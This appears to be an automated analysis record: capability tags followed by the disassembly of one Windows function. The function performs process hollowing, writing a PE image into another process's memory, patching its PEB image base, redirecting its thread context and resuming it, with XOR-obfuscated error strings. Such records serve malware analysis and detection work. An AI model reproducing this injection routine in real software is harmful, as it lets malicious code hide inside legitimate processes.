Function at 0x14000e3c0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Resume thread

Disassembly:
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x588
mov rax, qword [0x14006a080]
xor rax, rsp
mov qword [rsp + 0x570], rax
movsxd r15, dword [rdx + 0x3c]
mov r14, rdx
add r15, rdx
mov qword [rsp + 0x40], rdx
mov rdx, qword [r15 + 0x30]
mov rbx, rcx
mov qword [rsp + 0x30], rcx
mov edi, 0x40
mov rcx, qword [rcx]
mov r9d, 0x3000
mov r8d, dword [r15 + 0x50]
lea r12, [r15 + 0x30]
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x38], rax
mov rsi, rax
test rax, rax
jne 0x14000e471
lea rdx, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
lea rcx, [rsp + 0x50]
call fcn.1400142a0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e461
lea rbx, [rax + 1]
mov edi, 0x4b
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e450
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e7c0
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x5d0], rbp
call fcn.1400145b0
mov rbp, rax
cmp byte [rax], 0
jne 0x14000e4af
lea rbx, [rax + 1]
mov esi, 0x1f
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14000e494
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
lea rcx, [rbp + 1]
mov rdx, rsi
call fcn.140001290
mov r9d, dword [r15 + 0x54]
mov r8, r14
mov rcx, qword [rbx]
mov rdx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000e521
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
lea rcx, [rsp + 0x50]
call fcn.140013f90
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e511
lea rbx, [rax + 1]
mov edi, 0x4c
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e500
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e7b8
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x580], r13
call fcn.140013e50
mov rbp, rax
cmp byte [rax], 0
jne 0x14000e55f
lea rbx, [rax + 1]
mov esi, 0x1d
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14000e544
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdx, qword [r15 + 0x30]
lea rcx, [rbp + 1]
call fcn.140001290
xor ebp, ebp
mov r13d, ebp
cmp bp, word [r15 + 6]
jae 0x14000e61d
mov r12d, ebp
nop
movzx r14d, word [r15 + 0x14]
mov rcx, qword [rbx]
add r14, r12
add r14, r15
mov qword [rsp + 0x20], rbp
mov r8d, dword [r14 + 0x2c]
mov edx, dword [r14 + 0x24]
add r8, qword [rsp + 0x40]
add rdx, rsi
mov r9d, dword [r14 + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000e695
lea rcx, [rsp + 0x50]
call fcn.140013a50
mov rbp, rax
cmp byte [rax], 0
jne 0x14000e5eb
lea rbx, [rax + 1]
mov esi, 0x21
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14000e5d0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov r8d, dword [r14 + 0x24]
lea rcx, [rbp + 1]
add r8, rsi
lea rdx, [r14 + 0x18]
call fcn.140001290
movzx eax, word [r15 + 6]
inc r13d
add r12, 0x28
mov ebp, 0
cmp r13d, eax
jl 0x14000e580
lea r12, [r15 + 0x30]
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, 0x4d0
call fcn.14004fd80
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xa0]
mov dword [rsp + 0xd0], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x14000e6d7
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
lea rcx, [rsp + 0x50]
call fcn.1400132e0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e685
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e674
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e7b0
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
lea rcx, [rsp + 0x50]
call fcn.140013bb0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e6c3
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e6b2
lea rcx, [rsi + 1]
lea rdx, [r14 + 0x18]
call fcn.140001290
xor eax, eax
jmp 0x14000e7b0
mov rdx, qword [rsp + 0x128]
mov r9d, 8
mov rcx, qword [rbx]
add rdx, 0x10
mov r8, r12
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000e741
lea rdx, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
lea rcx, [rsp + 0x50]
call fcn.140012ff0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e731
lea rbx, [rax + 1]
mov edi, 0x49
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e720
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e7b0
mov eax, dword [r15 + 0x28]
lea rdx, [rsp + 0xa0]
mov rcx, qword [rbx + 8]
add rax, rsi
mov qword [rsp + 0x120], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14000e7a1
lea rdx, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
lea rcx, [rsp + 0x50]
call fcn.140012d50
mov rsi, rax
cmp byte [rax], 0
jne 0x14000e794
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000e783
lea rcx, [rsi + 1]
call fcn.140001290
xor eax, eax
jmp 0x14000e7b0
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov r13, qword [rsp + 0x580]
mov rbp, qword [rsp + 0x5d0]
mov rcx, qword [rsp + 0x570]
xor rcx, rsp
call fcn.14002b600
add rsp, 0x588
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret